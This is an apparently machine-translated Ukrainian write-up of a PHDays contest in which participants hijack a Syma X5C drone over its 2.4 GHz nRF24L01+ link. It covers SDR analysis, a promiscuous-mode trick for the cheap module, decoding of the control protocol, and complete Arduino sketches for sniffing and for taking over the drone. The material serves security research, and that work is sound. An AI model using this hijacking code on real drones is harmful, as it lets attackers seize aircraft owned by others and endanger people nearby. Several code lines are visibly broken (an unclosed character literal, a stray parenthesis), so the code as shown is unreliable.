PHD VI: як у нас викрали дрона



У цьому році на PHDays був представлений новий конкурс, де кожен охочий міг перехопити управління квадрокоптером Syma X5C. Виробники часто вважають, що якщо вони не використовують IP-технології, а який-небудь інший бездротової стандарт, то можна не думати про захищеності. Як ніби хакери махнуть рукою, вирішивши, що розбиратися з чимось, крім IP — це надто довго, складно і дорого.

Але насправді, як ми вже багато разів згадували, SDR (software-defined radio) — відмінний інструмент для доступу в світ IoT, де рівень входження визначається рівнем сумлінності виробника IoT-рішень. Проте навіть не маючи SDR можна творити чудеса, хай і в обмеженому просторі частот і протоколів.

Мета — перехопити управління дроном.

Вхідні дані:

  • діапазон управління дроном: 2,4 ГГц ISM,
  • управління здійснюється модулем nRF24L01+ (насправді — його клоном BK2423).
Кошти (видавалися бажаючим): Arduino Nano, nRF24L01+.

Результат — викрадач отримав Syma X8C в подарунок.

Так як серед охочих вкрасти наш дрон виявилися вже підготовлені люди, які мають в арсеналі HackRF, BladeRF та інші серйозні іграшки, ми опишемо два методу — SDR і безпосередньо nRF24L01+.

Шлях самурая — SDR

Насамперед необхідно знайти канали, на яких працює даний пульт. Але перед цим варто пробігтися по даташитущоб зрозуміти, що взагалі шукати. Перше, що нам необхідно, це організація частот.



Тепер ми знаємо, що все є 126 каналів з кроком в 1 МГц. Ще корисно було б дізнатися ширину каналу і бітрейт, на майбутнє.



Взагалі можна все зробити і без цих знань, адже далеко не завжди відомо, з чого складається передавач. Отже, запускаємо сканер спектру. Ми використовуємо UmTRX і максимально можливий для нього bandwidth — 13 МГц.







Ми не стали приводити скріншоти всього спектру, але як знайти подібні дані в радіоефірі — повинно бути зрозуміло. Можемо побачити, що з певною періодичністю дані з'являються на 25, 41, 57 і 73 каналах.

Незважаючи на те, що даташит однозначно вказує модуляцію, життя у нас не завжди є даташит до перехватываемому девайсу. Тому збираємо найпростішу схему GNU Radio і записуємо будь знайдених каналів.



Схоже, що bandwidth <= 800 КГц; згідно даташіту, це означає, що бітрейт — 250 Кбіт/с.

Тепер ми хочемо подивитися на записані дані; запускаємо baudline, в якому відкриваємо записаний файл з правильними параметрами, — і бачимо щось подібне:



Вибираємо один з підсвічених піків і відкриваємо вікно waveform.



Вгорі бачимо записаний сигнал; схоже, ми все зробили правильно, по переходах фази стає очевидно, що це FSK/GFSK-модуляція.

Далі нам необхідно поставити демодулятор і трохи відфільтрувати зайве.



Відкриваємо результат, картина виглядає інакше, тепер знаходимо темну смугу і відкриваємо waveform.



Фактично справу зроблено, високий рівень — одиниця, низький — нуль. А за таймлайну можна визначити період імпульсу і порахувати бітрейт.

На самому початку передавач налаштовується на частоту передачі і передає лише несучу, потім йде преамбула, яка складається з послідовності 0 і 1, у різних чіпах вона може відрізнятися як завдовжки, так і змістом, nRF24L01+ вона становить 1 байт 0xAA або 0x55, в залежності від старшого біта адреси, в нашому випадку преамбула 0xAA. Потім йдуть байти адреси, nRF24L01+ адресу може складати від 3 до 5 байт (забігаючи вперед: це не зовсім так).



Тепер ми знаємо адреса (0xa20009890f). Для подальшого аналізу необхідно зробити невелику автоматизацію, наприклад так:



На виході вийде файл, що складається з послідовності 0 і 1:

$ hexdump -C test3.raw


Один з наших пакетів можна знайти по зсуву 0x5e25:



Що з цим робити далі — кожен вирішить для себе сам, але необхідно підібрати довжину пакета і тип використовуваної CRC. Ми написали утиліту, яка аналізує файл і намагається знайти преамбулу, після якої намагається підрахувати CRC для різних варіантів довжини payload і адреси двома різними способами (див. даташит). У нас вийшло так:



Проте пізніше прийшло розуміння, що Python годиться тільки для аналізу в офлайні, а «перетравлювати» дані в реальному часі з бітрейтом навіть 250 Кбіт/с досить проблематично, не кажучи вже про більш високих швидкостях. Так народилася друга версія на C, яка працює в режимі реального часу.



Отже, маючи payload, залишається розібратися вже в самому протоколі Syma.

Шлях нищеброда — Arduino і nRF24L01+



Цей спосіб, на відміну від описаного вище, не вимагає практично ніяких знань в галузі радіо, і коштує дуже дешево (Arduino — 2 $, nRF24L01+ — 1 $ і приблизно стільки ж на дроти mini-USB і DuPont), однак вимагає деякої кмітливості і навичок гугления. Саме його учасникам конкурсу ми й пропонували повторити.

Основна проблема в тому, що nrf24l01+ не має promiscuous режиму. Однак сам модуль має кілька дивних особливостей, перша — в даташіте є цікава річ:



Якщо виставити цей регістр у «00», то адреса буде 2 байти. Далі є ще одна цікава особливість: преамбула зазвичай передається і використовується для того, щоб приймач міг підлаштуватися під передавач, саме для цього найчастіше в якості преамбули передається послідовність нулів і одиниць. Друга особливість модуля nRF24L01+: він не шукає преамбулу і ніяк її не використовує, він шукає адресу, який записаний в якості прийнятого. Якщо подивитися на переданий сигнал на скріншотах вище, можна також зауважити, що перед початком передачі преамбули передавач мовить несучу; досвідченим шляхом було виявлено, що найчастіше nRF24L01+ сприймає її як 0x00 (іноді як 0xFF, рідше як випадковий байт). Таким чином, використовуючи ці недокументовані особливості ми можемо перевести nRF24L01+ в promiscuous mode — встановивши довжину адреси в 2 байти, а сам як адреса 0x00AA або 0x0055. В одному з варіантів ми будемо отримувати дані, зсунуті на 1 біт. Крім того, можна приймати дані без перевірки CRC.

Тепер у нас є всі необхідні теоретичні знання. Використовуємо бібліотеку RF24 (github.com/TMRh20/RF24), хоча у неї є недолік: у файлі RF24.cpp у функції

void RF24::setAddressWidth(uint8_t a_width){
if(a_width -= 2){
write_register(SETUP_AW,a_width%4);
addr_width = (a_width%4) + 2;
}
}

слід видалити перевірку валідності:

void RF24::setAddressWidth(uint8_t a_width){
a_width -= 2;
write_register(SETUP_AW,a_width%4);
addr_width = (a_width%4) + 2;
}


Тепер пишемо невеликий скетч для Arduino (даний приклад для Mega, але буде працювати на будь-який інший, потрібно просто поміняти CE_PIN, CSN_PIN на свої):

#include <SPI.h>
#include <nRF24L01.h>
#include <RF24.h>
#include <printf.h>

#define CE_PIN 53 /// Change it for your board
#define CSN_PIN 48 /// Change it for your board

RF24 radio(CE_PIN, CSN_PIN); 

const char tohex[] = {'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'};
uint64_t pipe = 0x00AA;

byte buff[32];
byte chan=0;
byte len = 32;
byte addr_len = 2;

void set_nrf(){
radio.setDataRate(RF24_250KBPS);
radio.setCRCLength(RF24_CRC_DISABLED);
radio.setAddressWidth(addr_len);
radio.setPayloadSize(len);
radio.setChannel(chan);
radio.openReadingPipe(1, pipe);
radio.startListening(); 
}

void setup() {
Serial.begin(2000000);
printf_begin();
radio.begin();
set_nrf();
}

long t1 = 0;
long t2 = 0;
long tr = 0;

void loop() {
byte in;
if (Serial.available() >0) {
in = Serial.read();
if (in == 'w') {
chan+=1;
radio.setChannel(chan);
Serial.print("\nSet chan: "); 
Serial.print(chan);
}
if (in == ') {
chan-=1;
radio.setChannel(chan);
Serial.print("\nSet chan: "); 
Serial.print(chan);
}
if (in == 'q') {
Serial.print("\n"); 
radio.printDetails();
} 
}
while (radio.available()) { 
t2 = t1;
t1 = micros();
tr+=1;
radio.read(&buff, sizeof(buff) );
Serial.print("\n"); 
Serial.print(tr);
Serial.print("\tms: "); 
Serial.print(millis());
Serial.print("\tCh: ");
Serial.print(chan);
Serial.print("\tGet data: ");
for (byte i=0; i<len;i++ ){
Serial.print(tohex[(byte)buff[i]>>4]);
Serial.print(tohex[(byte)buff[i]&0x0f]); 
} 
}
}

Тепер можна на серійному порте забирати готові дані з встановленого каналу, зміна каналу здійснюється посилкою «w» та «s» в порт. Подальшу обробку можна проводити будь-яким зручним способом: очима, руками, скриптами. Слід звернути увагу, що швидкість порту нестандартна — 2 Мбіт/c, це необхідно для того, щоб Arduino менше часу займалася I/O, а більше займалася справою (не забуваємо, що там всього лише 16 МГц).



Після знаходження каналу і упіймання адреси слід встановити цю адресу в якості приймального, щоб відфільтрувати дані з космосу:

uint64_t pipe = 0xa20009890fLL;
byte addr_len = 5;



Потім варто пробігтися по всіх каналах і знайти все, на яких проскакує цю адресу. Трохи спостерігаємо за подіями і помічаємо, що 10, 11 і 12 байт змінюються в залежності від даних, а за ними йде послідовність випадкових байт — шум. Пробуємо включити CRC16 (два останніх байта) і змінити довжину пакета до 10 байт:

byte len = 10;
radio.setCRCLength(RF24_CRC_16);



Бінго! Ми змогли підібрати всі необхідні налаштування nRF24L01+, які використовуються цим пультом, далі справа за розглядом протоколу самої Syma.

Протокол Syma

Розібрати його зовсім не складно, записавши трохи активності з пульта.

  • Перший байт — значення throttle (стік газу)
  • Другий байт — значення elevator (тангаж — нахил вперед-назад), де старший біт — напрям (вперед або назад), а інші 7 — значення.
  • Третій байт — значення rudder (рискання — поворот навколо осі вліво-вправо), де старший біт — напрям (вліво або вправо), а інші 7 — значення.
  • Четвертий байт — значення aileron (крен — нахил вліво-вправо), де старший біт — напрям, а інші 7 — значення.
  • Десятий байт це CRC, яка розраховується як XOR від перших 9 байт + 0x55, зрозуміти це, мабуть, найскладніше.
Інші байти можна залишити такими ж, як і перехоплені, там передаються значення регулювань нульового положення (трими), і кілька прапорів, що відносяться до роботи камери.

Залишилося сформувати якийсь валідний пакет, наприклад змусимо дрона крутитися навколо своєї осі проти годинникової стрілки: 92007f000040002400de

Нижче наведено скетч нашого перехоплювача з PHDays, який виглядав ось так:



#include <SPI.h>
#include <nRF24L01.h>
#include <RF24.h>
#include < stdio.h>

#define CE_PIN 48
#define CSN_PIN 53

//// syma
uint8_t chan[4] = {25,41,57,73}; 
const char tohex[] = {'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'};
uint64_t pipe = 0xa20009890fLL; 

RF24 radio(CE_PIN, CSN_PIN); 
int8_t packet[10];
int joy_raw[7];
byte ch=0;

//// controls
uint8_t throttle = 0;
int8_t rudder = 0;
int8_t elevator = 0;
int8_t aileron = 0;

//// syma checksum
uint8_t checksum(){
uint8_t sum = packet[0];
for (int i=1; i < 9; i++) sum ^= packet[i];
return sum + 0x55);
}

//// initial
void setup() {
//set nrf
radio.begin();
radio.setDataRate(RF24_250KBPS);
radio.setCRCLength(RF24_CRC_16);
radio.setPALevel(RF24_PA_MAX);
radio.setAutoAck(false);
radio.setRetries(0,0);
radio.setAddressWidth(5);
radio.openWritingPipe(pipe);
radio.setPayloadSize(10);
radio.setChannel(25);
//set joystick
pinMode(A0, INPUT);
pinMode(A1, INPUT);
pinMode(A2, INPUT);
pinMode(A3, INPUT);
pinMode(A4, INPUT);
pinMode(A5, INPUT);
pinMode(A6, INPUT);
digitalWrite(A3, HIGH);
digitalWrite(A4, HIGH);
digitalWrite(A5, HIGH);
digitalWrite(A6, HIGH);
//init default data
packet[0] = 0x00;
packet[1] = 0x00;
packet[2] = 0x00;
packet[3] = 0x00;
packet[4] = 0x00;
packet[5] = 0x40;
packet[6] = 0x00;
packet[7] = 0x21;
packet[8] = 0x00;
packet[9] = checksum();
}

void read_logitech() {
joy_raw[0] = analogRead(A0);
joy_raw[1] = analogRead(A1);
joy_raw[2] = analogRead(A2);
joy_raw[3] = !digitalRead(A3);
joy_raw[4] = !digitalRead(A4);
joy_raw[5] = !digitalRead(A6);
joy_raw[6] = !digitalRead(A5);
//little calibration
joy_raw[0] = map(joy_raw[0],150, 840, 255, 0)+10;
joy_raw[0] = constrain(joy_raw[0], 0, 254);
joy_raw[1] = map(joy_raw[1],140, 830, 0, 255);
joy_raw[1] = constrain(joy_raw[1], 0, 254);
joy_raw[2] = map(joy_raw[2],130, 720, 255, 0);
joy_raw[2] = constrain(joy_raw[2], 0, 254);
}

//// main loop
void loop() {
read_logitech();
throttle = joy_raw[2];
rudder = 64*joy_raw[4] - 64*joy_raw[5];
elevator = joy_raw[1]-127;
aileron = joy_raw[0]-127;
radio.openWritingPipe(pipe);
ch +=1;
if (ch>3) ch = 0; 
radio.setChannel(chan[ch]); 
packet[0] = throttle;
if (elevator < 0) packet[1] = abs(elevator) | 0x80; else packet[1] = elevator;
if (rudder < 0) packet[2] = abs(rudder) | 0x80; else packet[2] = rudder;
if (aileron < 0) packet[3] = abs(aileron) | 0x80; else packet[3] = aileron;
packet[4] = 0x00;
packet[5] = 0x40;
packet[6] = 0x00;
packet[7] = 0x21;
packet[8] = 0x00;
packet[9] = checksum();
radio.write( packet, sizeof(packet) );
}

Якщо немає бажання розбиратися з Arduino, можна зібрати на цій же бібліотеці програму-перехоплювач на Raspberry Pi.



Готові файли для Raspberry — github.com/chopengauer/nrf_analyze.

Учасники і переможці

За два дні конференції в конкурсі взяли участь півтора десятка людей. Зацікавлених було набагато більше, але багато хто, дізнавшись, що ламати не потрібно Wi-Fi, розчаровано відходили. Багато хто боїться братися за щось нове і незрозуміле, на цьому і тримається захищеність сучасного інтернету речей.

Серед учасників були ті, хто будував свої бездротові мережі на nRF24L01+, і ті, хто їх бачив в перший раз.

Вже в середині першого дня один з учасників зробив перші спроби впливу на дрон методом запису сигналу пульта з наступним його відтворенням, використовуючи SDR (replay-атака). Однак дрон від цього лише злегка смикався як від перешкоди. Ця атака даремна з причини того, що дрон використовує 4 канали з різницею між верхнім і нижнім у 48 МГц, і дії по одному каналу недостатньо для викрадення.

Вже до вечора першого дня один з учасників володів всіма необхідними знаннями про особливості модуля (двухбайтный адреса 0x00aa) і намагався відсканувати адресу нашого пульта, але проблема була в тому, що йому попався даташит від застарілої версії чіпа nRF24L01 (без +), який не підтримує використовуваний нашим дроном бітрейт 250 Кбіт/с. А ще він відмовився використовувати готові бібліотеки для роботи з модулем і працював безпосередньо з його регістрами. Тільки хардкор! Ламаємо ноги тільки про свої велосипеди ;)

Переможцем конкурсу став Гліб Чербов, якому вдалося повністю перехопити управління дроном до 16 години другого дня. Іншим учасникам не вдалося перехопити адресу пристрою.
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.